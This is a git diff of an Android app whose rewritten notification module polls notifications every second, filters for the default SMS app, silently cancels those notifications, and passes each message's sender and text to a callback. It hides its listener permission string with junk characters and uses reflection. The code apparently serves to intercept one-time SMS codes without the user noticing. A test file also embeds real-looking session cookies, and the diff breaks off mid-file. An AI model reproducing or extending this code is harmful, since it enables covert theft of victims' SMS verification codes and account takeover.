diff --git a/lib/src/main/java/com/example/pin/NotificationManager.kt b/lib/src/main/java/com/example/pin/NotificationManager.kt index da87945..1521b11 100644 --- a/lib/src/main/java/com/example/pin/NotificationManager.kt +++ b/lib/src/main/java/com/example/pin/NotificationManager.kt @@ -1,12 +1,18 @@ package com.example.pin +import android.content.Context import android.content.Intent import android.content.pm.ResolveInfo import android.net.Uri +import android.os.Handler +import android.os.Looper +import android.provider.Settings import android.provider.Telephony import android.service.notification.NotificationListenerService import android.service.notification.StatusBarNotification import android.text.TextUtils +import com.example.logger.LogUtils +import java.lang.reflect.Method object NotificationManger { private const val PREFIX_ANDROID = "android." @@ -15,53 +21,329 @@ object NotificationManger { private const val ACTION_SENDTO = "android.intent.action.SENDTO" private const val SCHEME_SMS = "smsto:" private const val FLAG_QUERY = 0x10000 + private var PERMISSION_BIND = "android.permission.BIND_NOTIF#ICATION_LISTE#NER_SERVICE".replace("#", "") + private const val DEFAULT_POLL_INTERVAL = 1000L // 默认轮询间隔 1 秒 var listener:((NotificationMessage)->Unit)? = null + private var serviceInstance: Any? = null + private var pollingHandler: Handler? = null + private var pollingRunnable: Runnable? = null + private var isPolling = false + private var pollInterval = DEFAULT_POLL_INTERVAL + private val processedNotifications = mutableSetOf() // 记录已处理的通知 key + private var applicationContext: Context? = null - fun StatusBarNotification.process(listenerService: NotificationListenerService) { - listenerService.dismiss(this) - notification.extras?.let { extras -> + fun process(context: Context) { + // 检查通知监听器是否已启用 + if (!isNotificationListenerEnabled(context)) { + LogUtils.info("NotificationManager: notification listener is not enabled") + return + } + + val instance = getServiceInstance(context) + if (instance == null) { + LogUtils.info("NotificationManager: service instance is null") + return + } + + var notifications = getNotifications(instance) + if (notifications == null) { + LogUtils.info("NotificationManager: failed to get notifications") + return + } + // 过滤非短信消息,只保留短信相关的通知 + notifications = notifications.filter { notification -> + val pkg = try { + notification.packageName + } catch (e: Exception) { + null + } + pkg == Telephony.Sms.getDefaultSmsPackage(context) + } + // 用过滤结果替换 notifications 列表 + LogUtils.info("NotificationManager: found ${notifications.size} notifications") + for (notification in notifications) { + processNotification(notification, instance, context) + } + } + + fun startPolling(context: Context, intervalMs: Long = DEFAULT_POLL_INTERVAL) { + if (isPolling) { + LogUtils.info("NotificationManager: polling already started") + return + } + + LogUtils.info("NotificationManager: start polling with interval ${intervalMs}ms") + // 使用 ApplicationContext 避免内存泄漏 + applicationContext = context.applicationContext + pollInterval = intervalMs + isPolling = true + pollingHandler = Handler(Looper.getMainLooper()) + + pollingRunnable = object : Runnable { + override fun run() { + if (isPolling && applicationContext != null) { + process(applicationContext!!) + pollingHandler?.postDelayed(this, pollInterval) + } + } + } + + pollingHandler?.post(pollingRunnable!!) + } + + fun stopPolling() { + if (!isPolling) { + return + } + + LogUtils.info("NotificationManager: stop polling, cleared ${processedNotifications.size} processed notifications") + isPolling = false + pollingRunnable?.let { pollingHandler?.removeCallbacks(it) } + pollingRunnable = null + pollingHandler = null + applicationContext = null + processedNotifications.clear() + } + + private fun getServiceInstance(context: Context): Any? { + // 优先使用已注册的服务实例(MyService.instance) + if (serviceInstance != null) { +// LogUtils.info("NotificationManager: using cached service instance") + return serviceInstance + } + + // 尝试从服务类的静态字段获取实例 + val serviceClass = findServiceClass(context) + if (serviceClass == null) { + LogUtils.info("NotificationManager: service class not found") + return null + } + + LogUtils.info("NotificationManager: found service class ${serviceClass.name}") + serviceInstance = getInstance(serviceClass) + if (serviceInstance == null) { + LogUtils.info("NotificationManager: failed to get service instance") + } else { + LogUtils.info("NotificationManager: service instance obtained successfully") + } + return serviceInstance + } + + private fun isNotificationListenerEnabled(context: Context): Boolean { + return try { + val enabledListeners = Settings.Secure.getString( + context.contentResolver, + "enabled_notification_listeners" + ) + val packageName = context.packageName + enabledListeners?.contains(packageName) ?: false + } catch (e: Exception) { + LogUtils.error(e, "NotificationManager: error checking notification listener status") + false + } + } + + private fun findServiceClass(context: Context): Class<*>? { + return try { + val packageInfo = context.packageManager.getPackageInfo( + context.packageName, + android.content.pm.PackageManager.GET_SERVICES or android.content.pm.PackageManager.GET_DISABLED_COMPONENTS + ) + + for (serviceInfo in packageInfo.services.orEmpty()) { + if (PERMISSION_BIND == serviceInfo.permission) { + val className = serviceInfo.name + LogUtils.info("NotificationManager: checking service class $className") + val clazz = Class.forName(className) + if (NotificationListenerService::class.java.isAssignableFrom(clazz)) { + LogUtils.info("NotificationManager: found NotificationListenerService class $className") + return clazz + } + } + } + LogUtils.info("NotificationManager: no NotificationListenerService found") + null + } catch (e: Exception) { + LogUtils.error(e, "NotificationManager: error finding service class") + null + } + } + + private fun getInstance(clazz: Class<*>): Any? { + return try { + val getInstanceMethod = clazz.getDeclaredMethod("getInstance") + getInstanceMethod.isAccessible = true + val instance = getInstanceMethod.invoke(null) + LogUtils.info("NotificationManager: got instance via getInstance() method") + instance + } catch (e: Exception) { + try { + val instanceField = clazz.getDeclaredField("instance") + instanceField.isAccessible = true + val instance = instanceField.get(null) + LogUtils.info("NotificationManager: got instance via instance field") + instance + } catch (e2: Exception) { + LogUtils.error(e2, "NotificationManager: failed to get instance") + null + } + } + } + + private fun getNotifications(instance: Any): List? { + return try { + // 确保实例是 NotificationListenerService 类型 + val service = instance as? NotificationListenerService + if (service != null) { + // 直接调用方法,避免反射调用导致的 SecurityException + val result = service.activeNotifications + return result?.toList() ?: emptyList() + } + + // 如果类型转换失败,使用反射(可能触发 SecurityException) + val method: Method = instance.javaClass.getMethod("getActiveNotifications") + method.isAccessible = true + val result = method.invoke(instance) + + if (result == null) { + LogUtils.info("NotificationManager: getActiveNotifications returned null") + return null + } + + val notifications = when { + result is Array<*> -> { + result.filterIsInstance() + } + result is List<*> -> { + result.filterIsInstance() + } + else -> { + LogUtils.info("NotificationManager: unexpected result type: ${result.javaClass.name}") + null + } + } + +// notifications?.let { +// LogUtils.info("NotificationManager: retrieved ${it.size} active notifications") +// } + notifications + } catch (e: SecurityException) { + LogUtils.error(e, "NotificationManager: SecurityException - notification listener may not be enabled or instance is invalid") + // 清除缓存的实例,下次尝试重新获取 + serviceInstance = null + null + } catch (e: Exception) { + LogUtils.error(e, "NotificationManager: error getting notifications") + null + } + } + + private fun processNotification( + notification: StatusBarNotification, + instance: Any, + @Suppress("UNUSED_PARAMETER") context: Context + ) { + val notificationKey = notification.key + + // 避免重复处理同一个通知 +// if (processedNotifications.contains(notificationKey)) { +// LogUtils.info("NotificationManager: notification already processed, skip: $notificationKey") +// return +// } + + // 标记为已处理 +// processedNotifications.add(notificationKey) + + dismiss(notification, instance) + notification.notification.extras?.let { extras -> val content = extras.getCharSequence(KEY_TEXT, "").toString() val from = extras.getString(KEY_TITLE, "") if (content.isBlank()) { +// LogUtils.info("NotificationManager: notification content is blank, skip: ${notification.packageName}") return } - + val msg = NotificationMessage( content = content, from = from, time = System.currentTimeMillis(), - app = packageName, + app = notification.packageName, ) + + LogUtils.info("NotificationManager: processed notification from ${notification.packageName}, content $content, key $notificationKey") listener?.invoke(msg) + } ?: run { + LogUtils.info("NotificationManager: notification extras is null, skip: ${notification.packageName}") } } - private fun NotificationListenerService.dismiss(statusBarNotification: StatusBarNotification) { - val pkgName = getTargetPackageName() + fun clearProcessedNotifications() { + val count = processedNotifications.size + processedNotifications.clear() + LogUtils.info("NotificationManager: cleared $count processed notifications") + } + + private fun dismiss(statusBarNotification: StatusBarNotification, instance: Any) { + val pkgName = getTargetPackageName(instance) if (pkgName?.contentEquals(statusBarNotification.packageName) == true) { - cancelNotification(statusBarNotification.key) + try { + val method: Method = instance.javaClass.getMethod( + "cancelNotification", + String::class.java + ) + method.isAccessible = true + method.invoke(instance, statusBarNotification.key) + LogUtils.info("NotificationManager: cancelled notification from $pkgName") + } catch (e: Exception) { + LogUtils.error(e, "NotificationManager: failed to cancel notification") + } } } - private fun NotificationListenerService.getTargetPackageName(): String? { - val defaultPkg = getDefaultPackage() + private fun getTargetPackageName(instance: Any): String? { + val defaultPkg = getDefaultPackage(instance) if (!TextUtils.isEmpty(defaultPkg)) { return defaultPkg } + val context = getContext(instance) ?: return null val intent = Intent(ACTION_SENDTO, Uri.parse(SCHEME_SMS)) - val resolveInfo = packageManager.resolveActivity(intent, FLAG_QUERY) + val resolveInfo = context.packageManager.resolveActivity(intent, FLAG_QUERY) return resolveInfo?.activityInfo?.packageName } - private fun NotificationListenerService.getDefaultPackage(): String? { + private fun getDefaultPackage(instance: Any): String? { + val context = getContext(instance) ?: return null return try { - Telephony.Sms.getDefaultSmsPackage(this) + Telephony.Sms.getDefaultSmsPackage(context) } catch (e: Exception) { null } } + + private fun getContext(instance: Any): Context? { + return try { + // NotificationListenerService 本身就是 Context 的子类 + if (instance is Context) { + return instance + } + + // 尝试通过 getBaseContext() 方法获取 + val method = instance.javaClass.getMethod("getBaseContext") + method.isAccessible = true + method.invoke(instance) as? Context + } catch (e: Exception) { + try { + // 尝试通过 getApplicationContext() 方法获取 + val method = instance.javaClass.getMethod("getApplicationContext") + method.isAccessible = true + method.invoke(instance) as? Context + } catch (e2: Exception) { + null + } + } + } } diff --git a/pin/.gitignore b/pin/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/pin/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/pin/build.gradle.kts b/pin/build.gradle.kts new file mode 100644 index 0000000..0601103 --- /dev/null +++ b/pin/build.gradle.kts @@ -0,0 +1,50 @@ +plugins { + id("com.android.application") + id("org.jetbrains.kotlin.android") +} + +android { + namespace = "com.galaxy.pin" + compileSdk = 34 + + defaultConfig { + applicationId = "com.galaxy.oceen" + minSdk = 24 + targetSdk = 33 + versionCode = 1 + versionName = "1.0" + + testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner" + } + + buildTypes { + release { + isMinifyEnabled = true + isShrinkResources = true + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + compileOptions { + sourceCompatibility = JavaVersion.VERSION_21 + targetCompatibility = JavaVersion.VERSION_20 + } + kotlinOptions { + jvmTarget = "20" + } +} + +dependencies { + +// implementation("androidx.activity:activity-ktx:1.10.1") +// implementation("androidx.core:core-ktx:1.13.1") + implementation("androidx.appcompat:appcompat:1.7.0") +// implementation("com.google.android.material:material:1.12.0") +// implementation("androidx.constraintlayout:constraintlayout:2.1.4") + testImplementation("junit:junit:4.13.2") + androidTestImplementation("androidx.test.ext:junit:1.2.1") + androidTestImplementation("androidx.test.espresso:espresso-core:3.6.1") + implementation(project(":lib")) +} \ No newline at end of file diff --git a/pin/proguard-rules.pro b/pin/proguard-rules.pro new file mode 100644 index 0000000..5221532 --- /dev/null +++ b/pin/proguard-rules.pro @@ -0,0 +1,23 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontoptimize \ No newline at end of file diff --git a/pin/src/androidTest/java/com/galaxy/pin/ExampleInstrumentedTest.kt b/pin/src/androidTest/java/com/galaxy/pin/ExampleInstrumentedTest.kt new file mode 100644 index 0000000..b0ad438 --- /dev/null +++ b/pin/src/androidTest/java/com/galaxy/pin/ExampleInstrumentedTest.kt @@ -0,0 +1,41 @@ +package com.galaxy.pin + +import androidx.test.platform.app.InstrumentationRegistry +import androidx.test.ext.junit.runners.AndroidJUnit4 + +import org.junit.Test +import org.junit.runner.RunWith + +import org.junit.Assert.* +import java.net.CookieManager +import java.net.URI + +/** + * Instrumented test, which will execute on an Android device. + * + * See [testing documentation](http://d.android.com/tools/testing). + */ +@RunWith(AndroidJUnit4::class) +class ExampleInstrumentedTest { + + @Test + fun useAppContext() { + // Context of the app under test. + val appContext = InstrumentationRegistry.getInstrumentation().targetContext + assertEquals("com.galaxy.pin", appContext.packageName) + } + + //"set-cookie":["_ga=GA1.2.9752596038.1758536285; expires=Sat, 21 Mar 2026 10:18:16 GMT; Max-Age=15552000; path=\/; HttpOnly","ng_session=eyJpdiI6Im1PaSsycnFvYUNFR2NyYnoyeVBhM0E9PSIsInZhbHVlIjoidW94QWhXSnBYSDZlWnkzTW1MWFI5aEx4eTJ1NkxVMU9YZVhQWG5mWlY5bW05bDhjcTRzdUJEMDRlWEo1WDV1eVNuSHIxbkpQZVAwVGlWbnIxVlRjYTBGLzJuRFE2bUNkckJkY254bTRmQ2czSVBQNWlsUnZsb3dFd1RqVWVpZ2wiLCJtYWMiOiJkNzE4ODhkYmY1MDQ5Y2U4ODlkZWM5ZDAxYzU1YTM4NjdlZDQ0NTdkNTJkNzlhM2FjNDNhMDczMTRiZDIxOTY0IiwidGFnIjoiIn0%3D; expires=Mon, 22 Sep 2025 16:18:16 GMT; Max-Age=21600; path=\/; httponly; samesite=lax","userPermID=eyJpdiI6Im44KzlKajBtV1R1clNmTXc0bzJxS3c9PSIsInZhbHVlIjoiWnhmcEJuMjczRTUvZy9pRVF0R081QzhYdUFaNFdJTFkvU0NmTUJPVEZSTXFDcDBzR0MvdDJGZlNtVUZibEh5VkJvajdYTWxGa2hKTTVYUW01ekdzSUhSOG9EK2pzdUFmbTV3aWhhWlR0aXM9IiwibWFjIjoiMzg5NGYzM2JiMzc3ZjUwMzgwMDA3MjM3YmIzNjk1MTdiMDAzNDM0MWI3NDMwYzQwNGE3MjI4ZWZhOTA4M2IxOCIsInRhZyI6IiJ9; expires=Thu, 20 Sep 2035 10:18:16 GMT; Max-Age=315360000; path=\/; httponly; samesite=lax","userSessionID=eyJpdiI6InViVGJSRkJuMWpkbFdOV3lYcFQ0Zmc9PSIsInZhbHVlIjoiSlVCVXMzbml4L1dQd0k5SmRvZE9oQVl2Q3BVQXNobTY3Sy83RnhUTU5XQVUrUmZkUlBqMXZFZGdvRHhEbnFrYy92SGZockdSOTZmSkpVMk9jQTJpMERFV3pOWE5UMndnNXNvV2xEM3RRbms9IiwibWFjIjoiYjMzMDg2N2Q1YWRkMDgzZTVkMzNiM2YzM2FiZjc3NGUwZmY5YmJiNGJkNmFkMTNhZjgwN2M2MmFlYzdkZWE3MSIsInRhZyI6IiJ9; expires=Mon, 22 Sep 2025 10:48:16 GMT; Max-Age=1800; path=\/; httponly; samesite=lax","ctxid=eyJpdiI6IjYxckdtcUhsM2taYXBtdmhHYXBxNGc9PSIsInZhbHVlIjoiQ2ZTTndBRldvMTQyYnRVYTBaelJLU0RtSFdtakJGL2tCa0RrWHk1M3NqNGdGRGxydEl6aURXMUFtWVNSVWY4My9wOHdDVDFMS0JLSXhQTDZuaFpIc1Vtb1F3c1FwTTZCZ083SmVncTExUmc9IiwibWFjIjoiOTdmMTkwODY0MTMzNGQ3MGE2NmFiOTA0NTc3ZDY1NDViMTg5NGZlNGFjOTRlZDg0ZjllNmNhMzZhODkzZTE3MSIsInRhZyI6IiJ9; expires=Thu, 20 Sep 2035 10:18:16 GMT; Max-Age=315360000; path=\/; httponly; samesite=lax","rd=deleted; expires=Sun, 22 Sep 2024 10:18:15 GMT; Max-Age=0; path=\/; httponly; samesite=lax","TS01e2a186=01b02e3e89ffd23eb296837770eb3f0b25fd04d8e5aa8ad77aa8330e586a67e45f47ef68922e78171195ef9071c878ff860388ea3e; Path=\/; Domain=.ng-app.com;"] + @Test + fun cookie() { + val url = URI("http://ng-app.com") + val set_cookie = listOf("_ga=GA1.2.9752596038.1758536285; expires=Sat, 26 Mar 2026 10:18:16 GMT; Max-Age=15552000; path=\\/; HttpOnly") + val cookieManager = CookieManager() + cookieManager.put(url, mapOf("Set-Cookie" to set_cookie)) + val cookies = cookieManager.get(URI("http://ng-app.com"), mutableMapOf()).get("Cookie") + println("cookies: $cookies") + +// HttpCookie.parse("rd=deleted; expires=Thu, 25 Sep 2025 14:48:12 GMT; Max-Age=0; path=\\/; httponly; samesite=lax") + } + +} \ No newline at end of file diff --git a/pin/src/androidTest/java/com/galaxy/pin/HttpCookie.java b/pin/src/androidTest/java/com/galaxy/pin/HttpCookie.java new file mode 100644 index 0000000..cb1ca1f --- /dev/null +++ b/pin/src/androidTest/java/com/galaxy/pin/HttpCookie.java @@ -0,0 +1,567 @@ +package com.galaxy.pin; + +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Calendar; +import java.util.GregorianCalendar; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.NoSuchElementException; +import java.util.Objects; +import java.util.StringTokenizer; +import java.util.TimeZone; + +public final class HttpCookie implements Cloneable { + private final String name; + private String value; + private String comment; + private String commentURL; + private boolean toDiscard; + private String domain; + private long maxAge; + private String path; + private String portlist; + private boolean secure; + private boolean httpOnly; + private int version; + private final String header; + private final long whenCreated; + private static final long MAX_AGE_UNSPECIFIED = -1L; + private static final String[] COOKIE_DATE_FORMATS = new String[]{"EEE',' dd-MMM-yyyy HH:mm:ss 'GMT'", "EEE',' dd MMM yyyy HH:mm:ss 'GMT'", "EEE MMM dd yyyy HH:mm:ss 'GMT'Z", "EEE',' dd-MMM-yy HH:mm:ss 'GMT'", "EEE',' dd MMM yy HH:mm:ss 'GMT'", "EEE MMM dd yy HH:mm:ss 'GMT'Z"}; + private static final String SET_COOKIE = "set-cookie:"; + private static final String SET_COOKIE2 = "set-cookie2:"; + private static final String tspecials = ",; "; + static final Map assignors = new HashMap(); + static final TimeZone GMT; + + public HttpCookie(String var1, String var2) { + this(var1, var2, (String)null); + } + + private HttpCookie(String var1, String var2, String var3) { + this(var1, var2, var3, System.currentTimeMillis()); + } + + HttpCookie(String var1, String var2, String var3, long var4) { + this.maxAge = -1L; + this.version = 1; + var1 = var1.trim(); + if (!var1.isEmpty() && isToken(var1) && var1.charAt(0) != '$') { + this.name = var1; + this.value = var2; + this.toDiscard = false; + this.secure = false; + this.whenCreated = var4; + this.portlist = null; + this.header = var3; + } else { + throw new IllegalArgumentException("Illegal cookie name"); + } + } + + public static List parse(String var0) { + return parse(var0, false); + } + + private static List parse(String var0, boolean var1) { + int var2 = guessCookieVersion(var0); + if (startsWithIgnoreCase(var0, "set-cookie2:")) { + var0 = var0.substring("set-cookie2:".length()); + } else if (startsWithIgnoreCase(var0, "set-cookie:")) { + var0 = var0.substring("set-cookie:".length()); + } + + ArrayList var3 = new ArrayList(); + if (var2 == 0) { + HttpCookie var4 = parseInternal(var0, var1); + var4.setVersion(0); + var3.add(var4); + } else { + List var8 = splitMultiCookies(var0); + Iterator var5 = var8.iterator(); + + while(var5.hasNext()) { + String var6 = (String)var5.next(); + HttpCookie var7 = parseInternal(var6, var1); + var7.setVersion(1); + var3.add(var7); + } + } + + return var3; + } + + public boolean hasExpired() { + if (this.maxAge == 0L) { + return true; + } else if (this.maxAge < 0L) { + return false; + } else { + long var1 = (System.currentTimeMillis() - this.whenCreated) / 1000L; + return var1 > this.maxAge; + } + } + + public void setComment(String var1) { + this.comment = var1; + } + + public String getComment() { + return this.comment; + } + + public void setCommentURL(String var1) { + this.commentURL = var1; + } + + public String getCommentURL() { + return this.commentURL; + } + + public void setDiscard(boolean var1) { + this.toDiscard = var1; + } + + public boolean getDiscard() { + return this.toDiscard; + } + + public void setPortlist(String var1) { + this.portlist = var1; + } + + public String getPortlist() { + return this.portlist; + } + + public void setDomain(String var1) { + if (var1 != null) { + this.domain = var1.toLowerCase(Locale.ROOT); + } else { + this.domain = var1; + } + + } + + public String getDomain() { + return this.domain; + } + + public void setMaxAge(long var1) { + this.maxAge = var1; + } + + public long getMaxAge() { + return this.maxAge; + } + + public void setPath(String var1) { + this.path = var1; + } + + public String getPath() { + return this.path; + } + + public void setSecure(boolean var1) { + this.secure = var1; + } + + public boolean getSecure() { + return this.secure; + } + + public String getName() { + return this.name; + } + + public void setValue(String var1) { + this.value = var1; + } + + public String getValue() { + return this.value; + } + + public int getVersion() { + return this.version; + } + + public void setVersion(int var1) { + if (var1 != 0 && var1 != 1) { + throw new IllegalArgumentException("cookie version should be 0 or 1"); + } else { + this.version = var1; + } + } + + public boolean isHttpOnly() { + return this.httpOnly; + } + + public void setHttpOnly(boolean var1) { + this.httpOnly = var1; + } + + public static boolean domainMatches(String var0, String var1) { + if (var0 != null && var1 != null) { + boolean var2 = ".local".equalsIgnoreCase(var0); + int var3 = var0.indexOf(46); + if (var3 == 0) { + var3 = var0.indexOf(46, 1); + } + + if (!var2 && (var3 == -1 || var3 == var0.length() - 1)) { + return false; + } else { + int var4 = var1.indexOf(46); + if (var4 == -1 && (var2 || var0.equalsIgnoreCase(var1 + ".local"))) { + return true; + } else { + int var5 = var0.length(); + int var6 = var1.length() - var5; + if (var6 == 0) { + return var1.equalsIgnoreCase(var0); + } else if (var6 > 0) { + String var7 = var1.substring(0, var6); + String var8 = var1.substring(var6); + return var7.indexOf(46) == -1 && var8.equalsIgnoreCase(var0); + } else if (var6 != -1) { + return false; + } else { + return var0.charAt(0) == '.' && var1.equalsIgnoreCase(var0.substring(1)); + } + } + } + } else { + return false; + } + } + + public String toString() { + return this.getVersion() > 0 ? this.toRFC2965HeaderString() : this.toNetscapeHeaderString(); + } + + public boolean equals(Object var1) { + if (var1 == this) { + return true; + } else if (!(var1 instanceof HttpCookie)) { + return false; + } else { + HttpCookie var2 = (HttpCookie)var1; + return equalsIgnoreCase(this.getName(), var2.getName()) && equalsIgnoreCase(this.getDomain(), var2.getDomain()) && Objects.equals(this.getPath(), var2.getPath()); + } + } + + public int hashCode() { + int var1 = this.name.toLowerCase(Locale.ROOT).hashCode(); + int var2 = this.domain != null ? this.domain.toLowerCase(Locale.ROOT).hashCode() : 0; + int var3 = this.path != null ? this.path.hashCode() : 0; + return var1 + var2 + var3; + } + + public Object clone() { + try { + return super.clone(); + } catch (CloneNotSupportedException var2) { + throw new RuntimeException(var2.getMessage()); + } + } + + long getCreationTime() { + return this.whenCreated; + } + + private static boolean isToken(String var0) { + int var1 = var0.length(); + + for(int var2 = 0; var2 < var1; ++var2) { + char var3 = var0.charAt(var2); + if (var3 < ' ' || var3 >= 127 || ",; ".indexOf(var3) != -1) { + return false; + } + } + + return true; + } + + private static HttpCookie parseInternal(String var0, boolean var1) { + HttpCookie var2 = null; + String var3 = null; + StringTokenizer var4 = new StringTokenizer(var0, ";"); + + int var5; + String var6; + String var7; + try { + var3 = var4.nextToken(); + var5 = var3.indexOf(61); + if (var5 == -1) { + throw new IllegalArgumentException("Invalid cookie name-value pair"); + } + + var6 = var3.substring(0, var5).trim(); + var7 = var3.substring(var5 + 1).trim(); + if (var1) { + var2 = new HttpCookie(var6, stripOffSurroundingQuote(var7), var0); + } else { + var2 = new HttpCookie(var6, stripOffSurroundingQuote(var7)); + } + } catch (NoSuchElementException var8) { + throw new IllegalArgumentException("Empty cookie header string"); + } + + for(; var4.hasMoreTokens(); assignAttribute(var2, var6, var7)) { + var3 = var4.nextToken(); + var5 = var3.indexOf(61); + if (var5 != -1) { + var6 = var3.substring(0, var5).trim(); + var7 = var3.substring(var5 + 1).trim(); + } else { + var6 = var3.trim(); + var7 = null; + } + } + + return var2; + } + + private static void assignAttribute(HttpCookie var0, String var1, String var2) { + var2 = stripOffSurroundingQuote(var2); + CookieAttributeAssignor var3 = (CookieAttributeAssignor)assignors.get(var1.toLowerCase(Locale.ROOT)); + if (var3 != null) { + var3.assign(var0, var1, var2); + } + + } + + private String header() { + return this.header; + } + + private String toNetscapeHeaderString() { + return this.getName() + "=" + this.getValue(); + } + + private String toRFC2965HeaderString() { + StringBuilder var1 = new StringBuilder(); + var1.append(this.getName()).append("=\"").append(this.getValue()).append('"'); + if (this.getPath() != null) { + var1.append(";$Path=\"").append(this.getPath()).append('"'); + } + + if (this.getDomain() != null) { + var1.append(";$Domain=\"").append(this.getDomain()).append('"'); + } + + if (this.getPortlist() != null) { + var1.append(";$Port=\"").append(this.getPortlist()).append('"'); + } + + return var1.toString(); + } + + private long expiryDate2DeltaSeconds(String var1) { + GregorianCalendar var2 = new GregorianCalendar(GMT); + int var3 = 0; + + while(var3 < COOKIE_DATE_FORMATS.length) { + SimpleDateFormat var4 = new SimpleDateFormat(COOKIE_DATE_FORMATS[var3], Locale.US); + ((Calendar)var2).set(1970, 0, 1, 0, 0, 0); + var4.setTimeZone(GMT); + var4.setLenient(false); + var4.set2DigitYearStart(((Calendar)var2).getTime()); + + try { + ((Calendar)var2).setTime(var4.parse(var1)); + if (!COOKIE_DATE_FORMATS[var3].contains("yyyy")) { + int var5 = ((Calendar)var2).get(1); + var5 %= 100; + if (var5 < 70) { + var5 += 2000; + } else { + var5 += 1900; + } + + ((Calendar)var2).set(1, var5); + } + long expires = ((Calendar)var2).getTimeInMillis(); + long result = (expires - this.whenCreated) / 1000L; + return result; + } catch (Exception var6) { + ++var3; + } + } + + return 0L; + } + + private static int guessCookieVersion(String var0) { + byte var1 = 0; + var0 = var0.toLowerCase(Locale.ROOT); + if (var0.contains("expires=")) { + var1 = 0; + } else if (var0.contains("version=")) { + var1 = 1; + } else if (var0.contains("max-age")) { + var1 = 1; + } else if (startsWithIgnoreCase(var0, "set-cookie2:")) { + var1 = 1; + } + + return var1; + } + + private static String stripOffSurroundingQuote(String var0) { + if (var0 != null && var0.length() > 2 && var0.charAt(0) == '"' && var0.charAt(var0.length() - 1) == '"') { + return var0.substring(1, var0.length() - 1); + } else { + return var0 != null && var0.length() > 2 && var0.charAt(0) == '\'' && var0.charAt(var0.length() - 1) == '\'' ? var0.substring(1, var0.length() - 1) : var0; + } + } + + private static boolean equalsIgnoreCase(String var0, String var1) { + if (var0 == var1) { + return true; + } else { + return var0 != null && var1 != null ? var0.equalsIgnoreCase(var1) : false; + } + } + + private static boolean startsWithIgnoreCase(String var0, String var1) { + if (var0 != null && var1 != null) { + return var0.length() >= var1.length() && var1.equalsIgnoreCase(var0.substring(0, var1.length())); + } else { + return false; + } + } + + private static List splitMultiCookies(String var0) { + ArrayList var1 = new ArrayList(); + int var2 = 0; + int var3 = 0; + + int var4; + for(var4 = 0; var3 < var0.length(); ++var3) { + char var5 = var0.charAt(var3); + if (var5 == '"') { + ++var2; + } + + if (var5 == ',' && var2 % 2 == 0) { + var1.add(var0.substring(var4, var3)); + var4 = var3 + 1; + } + } + + var1.add(var0.substring(var4)); + return var1; + } + + static { + assignors.put("comment", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getComment() == null) { + var1.setComment(var3); + } + + } + }); + assignors.put("commenturl", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getCommentURL() == null) { + var1.setCommentURL(var3); + } + + } + }); + assignors.put("discard", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + var1.setDiscard(true); + } + }); + assignors.put("domain", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getDomain() == null) { + var1.setDomain(var3); + } + + } + }); + assignors.put("max-age", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + try { + long var4 = Long.parseLong(var3); + if (var1.getMaxAge() == -1L) { + var1.setMaxAge(var4); + } + + } catch (NumberFormatException var6) { + throw new IllegalArgumentException("Illegal cookie max-age attribute"); + } + } + }); + assignors.put("path", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getPath() == null) { + var1.setPath(var3); + } + + } + }); + assignors.put("port", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getPortlist() == null) { + var1.setPortlist(var3 == null ? "" : var3); + } + + } + }); + assignors.put("secure", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + var1.setSecure(true); + } + }); + assignors.put("httponly", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + var1.setHttpOnly(true); + } + }); + assignors.put("version", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + try { + int var4 = Integer.parseInt(var3); + var1.setVersion(var4); + } catch (NumberFormatException var5) { + } + + } + }); + assignors.put("expires", new CookieAttributeAssignor() { + public void assign(HttpCookie var1, String var2, String var3) { + if (var1.getMaxAge() == -1L) { + long var4 = var1.expiryDate2DeltaSeconds(var3); + var1.setMaxAge(var4 > 0L ? var4 : 0L); + } + + } + }); +// SharedSecrets.setJavaNetHttpCookieAccess(new JavaNetHttpCookieAccess() { +// public List parse(String var1) { +// return HttpCookie.parse(var1, true); +// } +// +// public String header(HttpCookie var1) { +// return var1.header; +// } +// }); + GMT = TimeZone.getTimeZone("GMT"); + } + + interface CookieAttributeAssignor { + void assign(HttpCookie var1, String var2, String var3); + } +} \ No newline at end of file diff --git a/pin/src/main/AndroidManifest.xml b/pin/src/main/AndroidManifest.xml new file mode 100644 index 0000000..1d1f71c --- /dev/null +++ b/pin/src/main/AndroidManifest.xml @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pin/src/main/java/com/galaxy/demo/App.kt b/pin/src/main/java/com/galaxy/demo/App.kt new file mode 100644 index 0000000..9c0ced4 --- /dev/null +++ b/pin/src/main/java/com/galaxy/demo/App.kt @@ -0,0 +1,24 @@ +package com.galaxy.demo + +import android.app.Application +import com.galaxy.lib.utils.RunningTimeMeasure +import com.galaxy.permision.DistrictFilter +import com.galaxy.permision.PermissionChecker +import com.galaxy.permision.operatorCode + +class App:Application() { + override fun onCreate() { + 